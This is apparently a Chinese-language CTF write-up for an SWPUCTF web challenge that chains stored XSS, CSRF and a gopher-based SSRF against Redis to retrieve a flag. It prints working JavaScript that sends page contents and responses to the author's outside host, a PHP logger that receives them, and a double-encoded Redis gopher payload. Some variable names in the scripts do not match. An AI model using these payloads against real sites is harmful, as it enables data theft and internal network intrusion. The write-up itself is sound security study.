SWPUCTF -- Web3

对着WriteUp复盘还是遇到了不少问题,也学到了很多Trick

XSS

注册用户名处可以构造XSS,那么我们可以使用这个XSS来引用外部的js文件

1
<script src=https://yoloyolo.top/1.js></script>

Payload1如下

1
2
3
4
5
//Payload1 For XSS
var source = document.documentElement.outerHTML;
txt = escape(source);
var newimg = new Image();
newimg.src="https://yoloyolo.top/1.php?key="+"\n"+txt+"\n";
1
2
3
4
<?php
$file = "new";
file_put_contents($file,$_REQUEST['key'],FILE_APPEND);
?>

由于这里被设置了HTTPOnly,不能使用XSS来盗取Cookie,只能先获取admin后台页面的内容
根据内容再进行后续的操作

返回的HTML源码中可以看到以下内容

1
<form action="./ssrf_for_test.php" method="GET"><input type="text" name="url" placeholder="Input url..."><input type="submit" name="submit" value="%u83B7%u53D6%u8D44%u6E90"></form>

普通用户去访问./ssrf_for_test.php则会提示权限不足
但是可以使用XSS来进一步构造CSRF,去读取php的显示内容

CSRF

这里我们直接更改1.js的内容

1
2
3
4
5
6
//Payload2 For XSS+CSRF
var httpreq1 = new XMLHttpRequest();
httpreq.open('GET','http://192.168.56.103:40090/ssrf_for_test.php',false);
httpreq.send();
var img = new Image();
img.src = "https://yoloyolo.top/1.php?key="+"\n"+escape(httpreq1.responseText);

直接构造XMLHttpRequest请求来读取php的显示内容
得到的结果为 只允许http|https|gopher协议
结合题目所给出的提示,flag在redis中,那么可以利用CSRF来进行SSRF

SSRF

1
2
3
4
5
6
7
8
//Payload3 For XSS+CSRF+SSRF
var httpreq2 = new XMLHttpRequest();
httpreq2.open('GET','http://192.168.56.103:40090/ssrf_for_test.php?url=gopher://127.0.0.1:6379/_*1%250d%250a%247%250d%250aCOMMAND%250d%250a*2%250d%250a%243%250d%250aget%250d%250a%244%250d%250aflag%250d%250aquit',false);
httpreq2.send();
var httpreq3 = new XMLHttpRequest();
httpreq3.open('POST','https://yoloyolo.top/1.php',false);
httpreq3.setRequestHeader ('Content-type', 'application/x-www-form-urlencoded');
httpreq3.send("key="+escape(httpreq.responseText));

先构造SSRF,从redis中读取flag,再将读取到的内容用POST的方法发送到用于接收的php
流量部分可以用Wireshark抓包来观察,得到的结果为

1
2
3
4
5
6
7
8
*1
$7
COMMAND
*2
$3
get
$4
flag

但是后面必须加一个quit,否则会一直与redis连接,无法得到回显结果
这个quit在对redis抓包时并没有看到,而且在redis客户端中使用quit和exit都可以退出,但是在使用gopher协议时只有quit生效

放在js中的时候必须进行双重URL编码,否则无效

这里如果还是使用img标签来用GET方法传递参数的话,则会出现 HTTP 414 Request-URI Too Long 的错误,所以只能POST的方法
但是使用XMLHttpRequest请求去访问跨域资源时(CORS),会因为浏览器的同源策略造成一些影响,可能就不会去加载资源,但是对获取flag没有影响
不过在查阅一些资料之后理清楚了过程

客户端带着redis打出来的数据对远程服务端进行跨域请求
远程服务端响应包的头部没有设置 Access-Control-Allow-Origin
客户端禁止载入远程客户端的资源
不过在第一步时,由于带着数据进行请求了,那么php自然就把数据写入文件中了
这个问题可以在apache的配置文件中添加Access-Control-Allow-Origin来进行解决,但是对于本题来说有点画蛇添足

一篇题目相似的WP:https://www.anquanke.com/post/id/156377#h2-0